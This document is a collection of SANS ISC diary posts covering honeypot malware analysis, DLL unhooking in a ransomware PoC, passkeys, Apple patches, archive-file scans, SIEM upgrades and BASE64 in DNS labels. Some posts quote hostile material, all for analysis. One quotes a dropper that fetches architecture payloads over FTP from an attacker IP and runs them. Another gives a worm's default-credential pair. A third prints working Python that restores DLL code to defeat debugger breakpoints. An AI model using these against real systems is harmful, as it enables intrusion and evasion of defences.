[This is a Guest Diary by Nathan Smisson, an ISC intern as part of the SANS.edu BACS program]

The goal of this project is to test the suitability of various data entry points within the dshield ecosystem to determine which metrics are likely to yield consistently interesting results.  This article explores analysis of files uploaded to the cowrie honeypot server.  Throughout this project, a number of tools have been developed to aid in improving workflow efficiency for analysts conducting research using a cowrie honeypot.  Here, a relatively simple tool called upload-stats is used to enumerate basic information about the files in the default cowrie ‘downloads’ directory at /srv/cowrie/var/lib/cowrie/downloads.  This and other tools developed in this project are available for use or contribution at https://github.com/neurohypophysis/dshield-tooling.

The configuration of my honeypot is intentionally very typical, closely following the installation and setup guide on https://github.com/DShield-ISC/dshield/tree/main.  The node in use for the purposes of this article is was set up on an EC2 instance in the AWS us-east-1 zone, which is old and very large, even by AWS standards.

Part 1: Identified Shell Script Investigation

The upload-stats tool works by enumerating some basic information about the files present in the downloads directory and printing it along with any corresponding information discovered in the honeypot event logs.  If the logs are still present on the system, it will automatically identify information such as source IP, time of upload, and other statistics that can aid in further exploration of interesting-looking files.
Given no arguments, the tool produces a quick summary of the files available on the system:

In this case, 21 of the files are reported as empty; if you’re following along, you may notice that the names of many such empty files are something short like tmp5wtvcehx.  When an upload is started, cowrie creates a temporary file, populates it with the contents of the uploaded file, and then renames it to the SHA hash of the result.  For empty files with temporary placeholder names, that likely means that the upload failed for some reason.

Among the top file types provided, we have a single file that was identified by the UNIX file utility as a Bash script.  As it turns out, this was not the only shell script among the files present in the directory at the time this command was run.  The reason that only one of them was identified as a shell script will be explored later in this article.  First, let’s take a look at the outlier.  Luckily it’s relatively short, so I can include the contents of the entire script here.

Fortunately for us, this script is very repetitive and easy to read, so let’s go line by line for one iteration of the pattern (which, I might add, could be much more concise had the actor used a for loop).

Line 1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;

Each line of the script begins by attempting to change to several directories (cd /tmp || cd /var/run || cd /mnt || cd /root || cd /). This fallback sequence suggests a preference for a writable, low-monitoring location first (/tmp) and will attempt alternative directories only if prior ones fail, with the file root as a last resort.

Line 2
ftpget -v -u anonymous -p anonymous -P 21 87.121.84.163 arm5 arm5;

What follows is a command to download an architecture-specific payload from the actor’s FTP server.  More specifically, the script as a whole, if executed (and assuming we have ftpget installed, which we do not) will download payloads for 14 different architectures, casting a pretty wide net.  The inclusion of the -v (verbose) switch indicates that the actor expects, or at least hopes for non-blind RCE in this context, though we can assume FTP server accesses from the victim would be visible to the actor if execution succeeded, regardless.

To be thorough, here are the targeted CPU architecture variants:
•    mips, mipsel (MIPS variants)
•    sh4 (SuperH architecture)
•    x86_64 (64-bit Intel/AMD)
•    arm6, arm, arm5, arm7 (various ARM versions)
•    i686, x86 (32-bit Intel/AMD)
•    powerpc, ppc4fp (PowerPC variants)
•    m68k (Motorola 68k series)
•    spc (Ambiguous; may refer to SPC-700, among others.  I’d have to ask the author of the malware for clarification)

An interesting list, to be sure.  After researching some of the more obscure variants, the underlying commonality seems to be targeting IoT/embedded/OT devices or (likely legacy) networking equipment.  It’s hard to say anything beyond that for certain, though many of these have much more limited applications than others (e.g., SuperH, Motorola 68000 series, and SPC vs x86_64).  Notably absent are any Apple chips or many of the modern chips used in Android handsets.  Given the types of devices used with some of these specialized hardware sets, the final payload is unlikely to attempt anything involving a heavy workload.
I also noted the use of the old plaintext FTP for payload transfer: old becomes new again.

Line 3
chmod 777 arm5 ./arm5 telnet

This step changes the permissions of the downloaded payload to executable and then executes it with the argument ‘telnet’, which I’m guessing indicates the intended backdoor method.  Note that the script as received will attempt to execute all of the downloaded payloads, meaning that any environment discovery likely happens at this step, and only the payload corresponding to the compromised host’s chip architecture will successfully execute.

Line 4
rm -rf arm5

Finally, the payload is removed, possibly indicating that a persistence mechanism has been installed with the previous step, and more obviously indicating a desire to leave slightly fewer forensic artifacts on the target system.

Second-Stage Payload Server Analysis

The address 87.121.84.163 did not appear in any of the other uploaded files.  It appeared in several IP reputation blocklists as reported by Speedguide and Talos, though the referenced database at spamhaus.org did not return any immediately visible results.  At any rate, the RIPE records have the /24 netblock registered to an AS owned by a Dutch VPS provider, VPSVAULTHOST, which looks like it’s operating in the UK.  I’m assuming it’s a cloud-hosted server.  Interestingly, the ISC page has the country listed as Bulgaria, though I didn’t see anything else pointing there in my search.  Nothing else is reported on the ISC website.

Unfortunately, I have no other records of the source of this attack directly.  87.121.84.163 also did not appear in any other records, which is expected considering its role in the attack as a payload server.  In the next section, we will see instances of honeypot uploads with associated log entries, allowing for a more complete picture of an attack origin and life cycle.

Part 2: Botnet Worm Discovery

Continuing the investigation of patterns in uploaded files, I noticed that all of the file types identified by the system as ‘data’ appear to be readable text.  In the earlier bash script analysis, I noted that the file in question was not the only shell script present.  That is, it was not the only file containing a shebang (!#/bin/bash).  Moreover, file permissions that may have permitted identification of a shell script as such (i.e., 644 – readable by users other than root) were not unique to this file.  In fact, all of the ‘data’ files were not only readable but also consistently contained the string ‘bin/bash’.  In the following command, I filter for file types matching ‘data’ and containing ‘bin/bash’:

Note: Many of the files have no corresponding ‘metadata’ because the log records associated with these files have aged off of the system, but the files themselves have not.  Also, there are more total files in this screenshot because the timeline of this investigation was not perfectly linear.

In the previous screenshot we saw that our query for data files containing the bash interpreter path returned six matches.  Re-running the tool with no arguments, it appears that these six files account for 100% of our files of type ‘data’.  Looking at the other file types, the readability was either self-explanatory (ASCII, Unicode, shell script, empty) or inconsistent (some ‘regular files’ were binary while others were text-based).

The reason behind the variance in assigned permissions (either 0600 or 0644 for all files in the directory) has to do with the source of the activity from cowrie’s perspective.  A look at cowrie’s VFS (virtual file system) templates in fs.pickle would likely reveal the specifics of how these permissions are assigned, but for our purposes that’s not necessary at the moment.  To gain a general sense for the provenance of different file types on the system, we can start by examining the behavioral patterns associated with IPs that uploaded files of different types.  To set a baseline, I used another tool, ip-activity, to aggregate all of the log events associated with addresses that uploaded ‘regular’ files.  

Luckily not all of the logs related to these files have yet aged off.  This collection of data should reveal any consistencies in the context behind how these files were uploaded, which indeed it does.  For all files labeled as ‘regular’, the actor makes several login attempts, succeeds, and then uploads a file via SFTP.  With that knowledge, activity patterns related to ‘data’ files should stand out.

As hoped, this pattern is also consistent: for files marked ‘data’, the source came from stdin during an active SSH session.  That is, for these files the actor interacted with the system during an authenticated session before and/or after pushing a payload onto it, for 81.172.146.181 and 176.188.22.163 at the very least.  Once verified, this type of information will be useful to include in the output for later editions of the upload-stats tool.

While looking over the activity for these two addresses, the login attempts caught my eye.  Both clients attempted pi/raspberry and pi/raspberryraspberry993311.  Obviously enough they’re both looking for RBP devices in this case, but raspberryraspberry993311 is a rather specific guess, considering that it was the second of only two guesses from two (to our current knowledge) independent hosts.  To me, that indicates this password is probably not a random guess from a brute-forcing attempt.

A bit of research into ‘raspberryraspberry993311’ revealed a specific botnet malware strain associated with Pi IoT devices identified as UNIX_PIMINE.A by Trend Micro.  The 2019 article linked below features a through analysis of the malware that I will compare with the activity captured on my device.

https://www.researchgate.net/profile/Joakim-Kargaard-2/publication/334704944_Raspberry_Pi_Malware_An_Analysis_of_Cyberattacks_Towards_IoT_Devices/links/5e6f86ea458515e555803389/Raspberry-Pi-Malware-An-Analysis-of-Cyberattacks-Towards-IoT-Devices.pdf

To start, let’s compare the commands that followed successful authentication to the honeypot.  From my output, each command was saved to a separate tty logfile, so unfortunately the venerable playlog.py is not especially useful in this case.  However, we can still extract the command events directly from the logs, which I did.  For those not aware, playlog.py is a tool created by Upi Tamminen (desaster@dragonlight.fi) that parses cowrie TTY logs (saved in /srv/cowrie/var/lib/cowrie/tty/) and allows analysts to replay the activity in real time.

Both of our actors immediately pull a file to /tmp using scp, then set its permissions to executable and run it.  So far this is exactly aligned with the activity described in the UNIX_PIMINE.A article.  Next I will examine the files uploaded to see if they also follow the same path, where they may differ, and whether they appear to be members of the same botnet channel.

Screenshot from the researchgate.net article referenced above

Static Malware Analysis:  UNIX_PIMINE.A

Comparing the two samples uploaded by 81.172.146.181 and 176.188.22.163, the only difference between them is an scp control message prepended to the top of the files: C0755 4745 ocM8dVVu and C0755 4745 komDY9Nv, respectively.  To take the latter example, this control message breaks out to ‘copy file komDY9Nv of size 4745 with permissions 0755.’  As a side, the presence of control messages at the top of the files uploaded from stdin likely explains why the ‘data’ files are not marked as shell scripts.  In addition, a null byte at the end of the files may explain why they are classified as ‘data’ rather than ASCII text.

Before continuing analysis of the scripts associated with just these two addresses, you may have noticed in the earlier enumeration of ‘data’ files that the sizes of the remaining files for which we lack log data appear to be identical.  Running vimdiff against the remaining files confirms that our other 4 data file records are instances of attacks from members of the same botnet.  Continuing down the code, everything appears to align with the description given in the referenced article.  The malware makes a copy of itself to a file with a random 8-digit name within /opt, modifies /etc/local.rc to execute the backdoor on reboot, and then instructs the system to do just that.

After that, the malware attempts to kill and remove a number of other (apparent) cryptomining plants that may already exist on the compromised system, before connecting out to an Undernet Internet Relay Chat (IRC) channel on port 6667, where it joins the #biret C2 channel with an username based on the md5 hash of the compromised system’s uname output.  As pointed out in the article, this is a fairly low-entropy generation scheme for unique usernames, since the probability of multiple systems with identical output for ‘uname -a’ is very high, leading to username collisions and ultimately limiting the worm’s growth factor.  I suspected channel rotation might have occurred since the article was published, but the instances that hit my machine were in fact from members of the same botnet from 2019.  Malware that endlessly replicates itself independently of its originator, as it turns out, is pretty hard to patch.

The worm’s spreading mechanism involves the installation of sshpass for simplifying ssh-based connections to new targets and Zmap for port scanning.  Specifically, it scans IPs (iterating 100,000 addresses at a time) for port 22 availability and stores reachable addresses in a temporary file before trying its 2 credential sets: pi/raspberry and pi/raspberryraspberry993311.  The password ‘raspberry’ is a long-running default for Pi devices.  However, at this point it’s still not entirely clear why this second combination is used in particular; it is strongly correlated with various pi-related attacks, but does not seem to be a common default password as far as I have been able to discover.  It’s possible that some other malware variants (such as those this worm attempts to remove) create an account on compromised hosts with these credentials, leading to an increased likelihood of successful authentication for the types of devices this worm looks to infect.

Source Address Consideration: Compromised Pies

Knowing what we do about the way this malware spreads, the session activity is pretty clear.  It’s best to think of the actor addresses in this case as two compromised victims of the same worm; i.e., members of the same botnet.  From the two sets of logs we have at hand, 81.172.146.181 appears to be a Dutch ISP-assigned public address within a network belonging to DELTA Fiber Nederland B.V.  My guess would be that this is a network/IoT appliance or possibly an RBP positioned behind a SOHO gateway router with port forwarding, based on what we’ve seen so far.  176.188.22.163 is a similar story: in this case, belonging to a French ISP (Bouygues Telecom).  No malicious activity has been reported for either address on the ISC website.

Conclusion: File Uploads and Attack Descriptions

Correlation of event logs to files uploaded to the honeypot has proved effective for discovering highly specific attack patterns.  Moreover, context surrounding the operating internals of the cowrie (or other honeypot) environment is crucial for understanding the chronology and substance of an event.  Automating processes such as event correlation and the ability to group files, IPs, and other information into discrete buckets greatly reduces the overhead required for such investigations and encourages analytic insights.  A disadvantage to this approach is that the scope of activity relative to the volume of events not logged in file uploads is very small, though depending on the intent of an investigation, this may not be a problem.

The attacks observed in this article highlight the need primarily for maintenance and monitoring of legacy systems, as well as the necessity of changing default passwords before exposing systems to the public Internet.

[1] https://github.com/neurohypophysis/dshield-tooling
[2] https://github.com/DShield-ISC/dshield/tree/main
[3] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

When you’re debugging a malware sample, you probably run it into a debugger and define some breakpoints. The idea is to take over the program control before it will perform “interesting” actions. Usually, we set breakpoints on memory management API call (like VirtualAlloc()) or process activities (like CreateProcess(), CreateRemoteThread(), ...).

The default technique used by debuggers to implement breakpoints is to “hook” the original API call by overwriting the very first byte of the function (overwriting it with an INT3(1) instruction). This is called a software breakpoint because the program code is slightly modified and we instruct it to perform a software interrupt. Yes, it looks like a malicious behavior but for the good. Note that other breakpoint techniques exist but let's focus on the software one.

As usual, malware reversing is a perpetual cat and mouse game. Malware can detect such technique very easily. Just check if the first byte at the location of an API call in memory is “CC” (the opcode of INT3) and you're good:

HMODULE h = GetModuleHandleA("kernel32.dll");       // Get DLL address
FARPROC a = GetProcAddress(h, "VirtualAlloc");      // Get API call address
BYTE b = *a;
if (b == 0xCC) {                                    // CC is the INT3 opcode
    printf(“Breakpoint set on VirtualAlloc()!\n”);
}

The problem with this technique is that the malware must know which API call(s) has(ve) been patched. The same technique can be used by EDRs. Potentially, a lot of API calls are involved. When I'm debugging a malware sample, it's very common to have more than 10 breakpoints!

Because all this activity happens in memory (remember that copies of DLLs used by a program are loaded in the process memory space by the OS loader), another technique is just to “reload” the clean code (without the patches) from the original DLL (located on disk). It's like performing a "undo" or "CTRL-Z" to restore the initial DLL state. I found this technique in a Python malicious code found on VT yesterday. The script seems a ransomware PoC and it received a very low score (4/63) (SHA256: 197dd96e76114a1e6d4fb4964767a009d147a2c0de277bc5711dedb7a4152693)

During the initialization, the malware will “unhook” some DLLS to get rid of potential breakpoints:

def _unhook_dlls(self):
    """SXVM-style DLL unhooking"""
    try:
        # Unhook critical DLLs like SXVM does
        for dll in ['ntdll.dll', 'kernel32.dll', 'kernelbase.dll']:
            try:
                self._restore_text_section(dll)
            except:
                continue
            return True
    except:
        return False

def _restore_text_section(self, dll_name):
    """Restore .text section from disk like SXVM"""
    try:
        # Get system directory
        system_dir = os.environ.get('SystemRoot', 'C:\\Windows') + '\\System32\\'
        dll_path = system_dir + dll_name

        if os.path.exists(dll_path):
            with open(dll_path, 'rb') as f:
                disk_data = f.read()
                
            # Parse PE headers to find .text section
            pe_offset = struct.unpack('<I', disk_data[0x3C:0x40])[0]
            section_count = struct.unpack('<H', disk_data[pe_offset + 6:pe_offset + 8])[0]
            section_offset = pe_offset + 0x18 + struct.unpack('<H', disk_data[pe_offset + 0x14:pe_offset + 0x16])[0]
               
            for i in range(section_count):
                section_name = disk_data[section_offset + i*40:section_offset + i*40 + 8].decode().strip('\x00')
                if section_name == '.text':
                    virtual_size = struct.unpack('<I', disk_data[section_offset + i*40 + 8:section_offset + i*40 + 12])[0]
                    virtual_addr = struct.unpack('<I', disk_data[section_offset + i*40 + 12:section_offset + i*40 + 16])[0]
                    raw_size = struct.unpack('<I', disk_data[section_offset + i*40 + 16:section_offset + i*40 + 20])[0]
                    raw_offset = struct.unpack('<I', disk_data[section_offset + i*40 + 20:section_offset + i*40 + 24])[0]
                       
                    # Get module base address
                    module_base = ctypes.windll.kernel32.GetModuleHandleW(dll_name)
                    if module_base:
                        # Copy .text section from disk to memory
                        text_section = disk_data[raw_offset:raw_offset + raw_size]
                        old_protect = ctypes.c_uint32()
                        self.kernel32.VirtualProtect(module_base + virtual_addr, raw_size, 0x40, ctypes.byref(old_protect))
                        ctypes.memmove(module_base + virtual_addr, text_section, raw_size)
                        self.kernel32.VirtualProtect(module_base + virtual_addr, raw_size, old_protect, ctypes.byref(old_protect))
                    break
        return True
    except:
        return False

This piece of code is easy to understand, it will restore the .text section (the section that contains executable code) from common DLLs - they provide a lot of interesting API calls used by malware. The DLL is read from disk, the PE headers are parsed to find the location and size of the .text section. The code is read and the re-injected in the loaded version of the DLL. The .text version is overwritten and... all software breakpoints are gone! This technique works perfectly because the program can perform any action on its own memory. Of course, to perform this action, you see calls to VirtualProtect() to change and restore the memory protection bits.

The script contains many reference to the "SXVM" ransomware and it not obfuscated. I did not find any reference to this name. Seems to be in development or a proof-of-concept?

(1) https://en.wikipedia.org/wiki/INT_(x86_instruction)

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

The recent (and still ongoing) phishing of NPM developer accounts showed yet again that even technically sophisticated and aware users are falling for phishing lures. Anybody will fall for phishing if a well-targeted e-mail is used.

All it took for the NPM phish to succeed was a well-written email and a convincing landing page. This case used "npmjs.help", but a few days later, someone also registered "npmjs.cam" (the TLD is .CAM, not .COM, a somewhat underused phishing trick).

Luckily, npmjs.cam is currently not reachable:

So if even experienced developers fall for these tricks, how do we protect people like HR, or worse, our sales team? More click-through security awareness training? Instructing them "not to click on links"? Or... triple-factor authentication?

Training has been shown to be ineffective at best, and will not prevent the sales team from opening an updated commission schedule in panic [1][2]. If users are not supposed to click on a link, then why are we not just removing them at your mail gateway (instead of replacing them with a wrapper)?

The real solution lies in how we authenticate, and it is not about multiple factors. Multifactor authentication addresses a different problem: Part of the authentication secrets may be compromised. Sophisticated, successful phishing may compromise all factors. Phishing works because users are unable to reliably identify websites. URLs and TLS certificates are technical means that identify websites, but they are not suitable for identification by most humans. It is too easy to come up with a look-alike domain, and often that isn't even needed.

Multi-factor authentication does not work as an attacker may pass-through credentials, as implemented in tools like evilginx, asking the user to provide all the necessary authentication parameters. The only way to protect from tools like this is to not have the user in charge of selecting the right credentials. Any authentication mechanism that requires the user to make a decision as to what credential to use for a particular website is not fundamentally phishing-resistant.

The simplest form of a "more phishing-resistant" authentication scheme is a password manager. Password managers are pretty good at figuring out which website a user is currently visiting and what credentials to use. Of course, users are often able to overwrite this decision, leading to phishing.

A better way is cryptography, which only makes particular credentials accessible to specific sites. For example, Passkeys. Passkeys are selected automatically based on the origin of the site the user attempts to log in to. It is not possible for the user to select different credentials, ensuring phishing safety. TLS client certificates could work as well, but are technically more complex to properly implement and, as a result, not practical for most public sites. 

NIST in publication 800-63B specifically states: "Phishing resistance requires single- or multi-factor cryptographic authentication. Authenticators that involve the manual entry of an authenticator output (e.g., out-of-band and OTP authenticators) SHALL NOT be considered phishing-resistant because the manual entry does not bind the authenticator output to the specific session being authenticated." This defines popular authentication methods, like Microsoft's authenticator-based MFA, as not phishing-resistant.

So in short: Stop blaming the user and instead get working on Passkeys for any site that you believe needs a little bit extra security.

[1] https://arxiv.org/html/2506.19899v2
[2] https://cs.uchicago.edu/news/new-study-reveals-gaps-in-common-types-of-cybersecurity-training/
[3] https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63B-4.pdf

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Today, as expected, Apple released iOS/iPadOS/macOS/watchOS/tvOS 26. Going forward, Apple will adopt the same OS number across its different offerings, setting us up for a potential year 2100 issue. Notably, VisionOS was not updated.

There are two options to apply the security updates: You may stick with the old major operating system version (iOS 18 or macOS 15), or you may upgrade directly to the "26" version. For more careful users, sticking with the older version will get you all the security fixes (and other bug fixes), but none of the new features and the potential instabilities and compatibility issues. 

This update also includes a patch for an already-exploited vulnerability, CVE-2025-43300. Apple patched this vulnerability in August, but only for current operating systems. This update backports this patch for older versions of iOS.

I did some quick Google searches if OS 26 supports various popular security software. Here is a quick summary:

Crowdstrike: Falcon >= 7.29
Little Snitch    >= 6.3
Microsoft Defender: supported    (July 1st)
Palo Alto Networks GlobalProtect: "appears to    work, firewall detection does not work on macOS 26" (reddit user report, 3 months ago)
1Password works fine
ssh, included with macOS, uses OpenSSH 10.0p2 vs 9.9p2. The newer version of OpenSSH no longer supports some weaker key exchanges, leading to possible issues accessing legacy equipment

 

Let me know if you have any firsthand experience with any security-related applications that either work or do not work.

 

iOS 26 and iPadOS 26	iOS 18.7 and iPadOS 18.7	iOS 16.7.12 and iPadOS 16.7.12	iOS 15.8.5 and iPadOS 15.8.5	macOS Tahoe 26	macOS Sequoia 15.7	macOS Sonoma 14.8	tvOS 26	watchOS 26	visionOS 26
CVE-2025-24088: An app may be able to override MDM-enforced settings from profiles. Affects CoreServices
				x
CVE-2025-24133: Keyboard suggestions may display sensitive information on the lock screen. Affects Text Input
x
CVE-2025-24197: An app may be able to access sensitive user data. Affects Spotlight
				x	x	x
CVE-2025-30468: Private Browsing tabs may be accessed without authentication. Affects Siri
x
CVE-2025-31254: Processing maliciously crafted web content may lead to unexpected URL redirection. Affects Safari
x
CVE-2025-31255: An app may be able to access sensitive user data. Affects IOKit
x				x	x	x	x	x
CVE-2025-31259: An app may be able to capture a screenshot of an app entering or exiting full screen mode. Affects Screenshots
				x	x	x
CVE-2025-31268: An app may be able to access protected user data. Affects Apple Online Store Kit
				x	x	x
CVE-2025-31269: An app may be able to access protected user data. Affects Printing
				x		x
CVE-2025-31270: An app may be able to access protected user data. Affects Foundation
				x
CVE-2025-31271: Incoming FaceTime calls can appear or be accepted on a locked macOS device, even with notifications disabled on the lock screen. Affects FaceTime
				x
CVE-2025-43190: An app may be able to access sensitive user data. Affects Spell Check
x				x	x	x		x	x
CVE-2025-43203: An attacker with physical access to an unlocked device may be able to view an image in the most recently viewed locked note. Affects Notes
x	x
CVE-2025-43204: An app may be able to break out of its sandbox. Affects RemoteViewServices
				x
CVE-2025-43207: An app may be able to access user-sensitive data. Affects Music
				x
CVE-2025-43208: An app may be able to read sensitive location information. Affects Airport
				x
CVE-2025-43231: An app may be able to access user-sensitive data. Affects LaunchServices
						x
CVE-2025-43262: USB Restricted Mode may not be applied to accessories connected during boot. Affects Trusted Device
				x
CVE-2025-43272: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
x				x				x	x
CVE-2025-43273: A sandboxed process may be able to circumvent sandbox restrictions. Affects CoreMedia
						x
CVE-2025-43277: Processing a maliciously crafted audio file may lead to memory corruption. Affects CoreAudio
						x
CVE-2025-43279: An app may be able to access user-sensitive data. Affects Notification Center
				x
CVE-2025-43283: An app may be able to cause unexpected system termination. Affects GPU Drivers
				x
CVE-2025-43285: An app may be able to access protected user data. Affects AppSandbox
				x	x	x
CVE-2025-43286: An app may be able to break out of its sandbox. Affects SharedFileList
				x	x	x
CVE-2025-43287: Processing a maliciously crafted image may corrupt process memory. Affects ImageIO
				x
CVE-2025-43291: An app may be able to modify protected parts of the file system. Affects SharedFileList
				x	x	x
CVE-2025-43292: An app may be able to access sensitive user data. Affects CoreMedia
				x	x
CVE-2025-43293: An app may be able to access sensitive user data. Affects SharedFileList
				x	x	x
CVE-2025-43294: An app may be able to access sensitive user data. Affects MallocStackLogging
				x
CVE-2025-43295: An app may be able to cause a denial-of-service. Affects libc
	x			x	x	x
CVE-2025-43297: An app may be able to cause a denial-of-service. Affects Power Management
				x
CVE-2025-43298: An app may be able to gain root privileges. Affects PackageKit
				x	x	x
CVE-2025-43300: Processing a malicious image file may result in memory corruption. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals.. Affects ImageIO
		x	x
CVE-2025-43301: An app may be able to access contact info related to notifications in Notification Center. Affects Notification Center
				x	x	x
CVE-2025-43302: An app may be able to cause unexpected system termination. Affects IOHIDFamily
x	x			x	x	x	x	x	x
CVE-2025-43303: An app may be able to access sensitive user data. Affects Bluetooth
x				x			x	x	x
CVE-2025-43304: An app may be able to gain root privileges. Affects StorageKit
				x	x	x
CVE-2025-43305: A malicious app may be able to access private information. Affects CoreServices
				x	x	x
CVE-2025-43307: An app may be able to access sensitive user data. Affects Bluetooth
				x
CVE-2025-43308: An app may be able to access sensitive user data. Affects Touch Bar Controls
				x	x	x
CVE-2025-43310: An app may be able to trick a user into copying sensitive data to the pasteboard. Affects WindowServer
				x	x	x
CVE-2025-43311: An app may be able to access protected user data. Affects Touch Bar
				x	x	x
CVE-2025-43312: An app may be able to cause unexpected system termination. Affects AMD
				x	x	x
CVE-2025-43314: An app may be able to access sensitive user data. Affects StorageKit
				x	x	x
CVE-2025-43315: An app may be able to access user-sensitive data. Affects MigrationKit
				x	x	x
CVE-2025-43316: A malicious app may be able to gain root privileges. Affects DiskArbitration
				x					x
CVE-2025-43317: An app may be able to access sensitive user data. Affects AppleMobileFileIntegrity
x				x			x	x	x
CVE-2025-43318: An app with root privileges may be able to access private information. Affects Sandbox
				x
CVE-2025-43319: An app may be able to access protected user data. Affects MediaLibrary
				x	x	x
CVE-2025-43321: An app may be able to access protected user data. Affects AppKit
				x	x	x
CVE-2025-43325: An app may be able to access sensitive user data. Affects Icons
				x
CVE-2025-43326: An app may be able to access sensitive user data. Affects GPU Drivers
				x	x	x
CVE-2025-43327: Visiting a malicious website may lead to address bar spoofing. Affects Safari
				x
CVE-2025-43328: An app may be able to access sensitive user data. Affects Sandbox
				x
CVE-2025-43329: An app may be able to break out of its sandbox. Affects Sandbox
x				x			x	x
CVE-2025-43330: An app may be able to break out of its sandbox. Affects ATS
				x	x
CVE-2025-43331: An app may be able to access protected user data. Affects AppleMobileFileIntegrity
				x
CVE-2025-43332: An app may be able to break out of its sandbox. Affects Security Initialization
				x	x	x
CVE-2025-43333: An app may be able to gain root privileges. Affects Spotlight
				x
CVE-2025-43337: An app may be able to access sensitive user data. Affects AppleMobileFileIntegrity
				x
CVE-2025-43340: An app may be able to break out of its sandbox. Affects AppleMobileFileIntegrity
				x
CVE-2025-43341: An app may be able to gain root privileges. Affects Storage
				x		x
CVE-2025-43342: Processing maliciously crafted web content may lead to an unexpected process crash. Affects WebKit
x	x			x			x	x	x
CVE-2025-43343: Processing maliciously crafted web content may lead to an unexpected process crash. Affects WebKit
x				x			x	x	x
CVE-2025-43344: An app may be able to cause unexpected system termination. Affects Apple Neural Engine
x				x			x	x	x
CVE-2025-43346: Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory. Affects Audio
x	x			x			x	x	x
CVE-2025-43347: An input validation issue was addressed. Affects System
x				x			x	x	x
CVE-2025-43349: Processing a maliciously crafted video file may lead to unexpected app termination. Affects CoreAudio
x	x			x	x	x	x	x	x
CVE-2025-43353: Processing a maliciously crafted string may lead to heap corruption. Affects Libinfo
				x	x	x
CVE-2025-43355: An app may be able to cause a denial-of-service. Affects MobileStorageMounter
x	x			x	x	x	x	x	x
CVE-2025-43356: A website may be able to access sensor information without user consent. Affects WebKit
x	x			x			x	x	x
CVE-2025-43357: An app may be able to fingerprint the user. Affects Call History
x				x
CVE-2025-43358: A shortcut may be able to bypass sandbox restrictions. Affects Shortcuts
x	x			x	x	x
CVE-2025-43359: A UDP server socket bound to a local interface may become bound to all interfaces. Affects Kernel
x	x			x	x	x	x	x	x
CVE-2025-43362: An app may be able to monitor keystrokes without user permission. Affects LaunchServices
x	x
CVE-2025-43366: An app may be able to disclose coprocessor memory. Affects IOMobileFrameBuffer
				x
CVE-2025-43367: An app may be able to access protected user data. Affects Siri
				x		x
CVE-2025-43368: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit Process Model
x				x
CVE-2025-43369: An app may be able to access protected user data. Affects SharedFileList
				x
CVE-2025-43372: Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory. Affects CoreMedia
x				x			x	x	x

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Johannes wrote a diary entry "Increasing Searches for ZIP Files" where he analyzed the increase of requests for ZIP files (like backup.zip, web.zip, ...) for our web honeypots.

I took a look at my logs, and noticed that too. But it's not only ZIP files, but other archives too:

Type

zip

rar

7z

gz

tar

I even had requests for .tar.zip files.

And when it comes to backup files, the following non-archive types are also popular requests:

Filename

backup.sql

backup.json

backup.bak

backup.sh

Looking at the User Agent Strings for these requests, none indicated that these scans were performed by researchers.

And comparing the source IPs of these requests with our researchers list: not a single match.

So it's safe to say that these scans are done with malicious intent, and that you should take Johannes' advice and don't have these types of files on your web servers, and even better, have some policy to avoid this.

Update: I also had request for a file with the IPv4 address of my server (like 12.34.56.78.zip).

 

Didier Stevens
Senior handler
blog.DidierStevens.com

Since the last update [5], over the past few months I added several enhancements to DShield SIEM and webhoneypot sensor collection that included an update to the interface to help with DShield sensor analysis. I updated the main dashboard to have all the main analytic tools listed on the left for quick access to all the sub-dashboards.

ELK Update

• Removed from the interface the usage of TCP 5601, now just https://IP
• Updated all Elastic packages to version 8.19.3
• Updated the webhoneypot logstash parser based on Mark's update
• Updated the DShield - Web Analytic page to reflect new content
• ELK monitoring with Metricbeat
• 2 Treat Intel feeds (run from ELK server via cronjob)
• Inclusion of ISC web activity detection rules
• Updated cowrie and docker troubleshooting pages [2][3]
• List of previous SANS.edu BACS internships students’ scripts [4]

I tested and added two additional applications in the Kibana DShield Main Page Activity to help with analysis. These are installed via docker when installing or updating docker to the current version:

Analysis Tools

• CyberChef
• Mitre ATT&CK - Attack Navigator

How to upgrade to the current version?

• cd DShield-SIEM
• sudo docker compose stop
• git pull --autostash
• sudo docker compose rm -f -v
• sudo docker compose up --build -d

Load new templates into Kibana:

• sudo docker exec -ti filebeat bash
• ./filebeat setup -e 

[1] https://github.com/bruneaug/DShield-SIEM/blob/main/README.md
[2] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/docker_useful_commands..md
[3] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/Troubleshooting_SIEM_and_Sensor.md
[4] https://github.com/bruneaug/DShield-SIEM/blob/main/README.md#dshield-analysis-scripts-and-code-by-students
[5] https://isc.sans.edu/diary/DShield+SIEM+Docker+Updates/31680
[6] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

On the Stormcast, Johannes talked about BASE64 and DNS used by a backdoor.

I was interested to learn more about this, because DNS labels can only contain letters, digits and a hyphen. If you make a distinction between uppercase and lowercase letters, you have exactly 63 characters to choose from. While BASE64 requires 64 characters (and a 65th character for padding: =).

So how can the backdoor use BASE64 in a label, since RFC 1035 (and updates) does not allow characters +, / and = ?

I did some tests.

I had my dnsresolver.py tool running on a server, configured to answer DNS A requests for label Aa0+/=.

And it just worked:

nslookup doesn't check the format of the labels, and neither did the DNS servers that forwarded my queries to my dnsresolver.py tool.

But the Windows APIs that help with resolving hostnames, do care about the format.

For example, the ping tool that uses the Windows API, doesn't work:

Neither does the DnsApi:

Error 9560 is because of the +, / and = characters I used:

Thus malware can use special characters in DNS labels as a C2 channel, but then it has to talk directly to the DNS server (like nslookup does), it can't use Windows APIs to achieve this.

It might be interesting to check your DNS logs (if you have them) for labels with special characters. It's something I'll investigate and report later.

 

Didier Stevens
Senior handler
